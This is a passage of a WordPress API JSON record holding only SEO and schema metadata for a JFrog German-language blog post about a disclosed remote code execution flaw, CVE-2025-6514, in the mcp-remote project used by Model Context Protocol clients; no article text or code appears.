name=search_term_string\"}],\"inLanguage\":\"de-DE\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/de\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/de\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\",\"name\":\"drewt\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"caption\":\"drewt\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"CVE-2025-6514 bedroht LLM-Clients","description":"Erfahren Sie, wie das Sicherheitsforschungstesm von JFrog CVE-6514 entdeckt und offengelegt hat \u2013 eine kritische Schwachstelle im Projekt mcp-remote, das von Model-Context-Protocol-Clients verwendet wird.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174282","og_locale":"de_DE","og_type":"article","og_title":"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients","og_description":"Erfahren Sie, wie das Sicherheitsforschungstesm von JFrog CVE-6514 entdeckt und offengelegt hat \u2013 eine kritische Schwachstelle im Projekt mcp-remote, das von Model-Context-Protocol-Clients verwendet wird.","og_url":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2026-09-14T09:06:22+00:00","article_modified_time":"2026-09-14T10:36:46+00:00","og_image":[{"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/07\/06204255\/MCP-Remote-Clients-Exposed-to-Remote-Code-Execution.png"}],"author":"drewt","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"drewt","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/"},"author":{"name":"drewt","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28"},"headline":"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients","datePublished":"2026-09-14T09:06:22+00:00","dateModified":"2026-09-14T10:36:46+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/"},"wordCount":2214,"publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"keywords":["mcp","rce","cve","vulnerabilities","security-research"],"articleSection":["Sicherheit und DevSecOps"],"inLanguage":"de-DE"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","url":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","name":"CVE-2025-6514 bedroht LLM-Clients","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/#website"},"datePublished":"2026-09-14T09:06:22+00:00","dateModified":"2026-09-14T10:36:46+00:00","description":"Erfahren Sie, wie das Sicherheitsforschungstesm von JFrog CVE-6514 entdeckt und offengelegt hat \u2013 eine kritische Schwachstelle im Projekt mcp-remote, das von Model-Context-Protocol-Clients verwendet wird.","breadcrumb":{"@id":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb"},"inLanguage":"de-DE","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/de\/"},{"@type":"ListItem","position":2,"name":"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/de\/#website","url":"https:\/\/jfrog.com\/de\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/de\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"de-DE"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/de\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28","name":"drewt","image":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","caption":"drewt"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174282","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/users\/590"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/comments?post=174282"}],"version-history":[{"count":1,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174282\/revisions"}],"predecessor-version":[{"id":174292,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174282\/revisions\/174292"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/media?parent=174282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/categories?post=174282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/tags?post=174282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}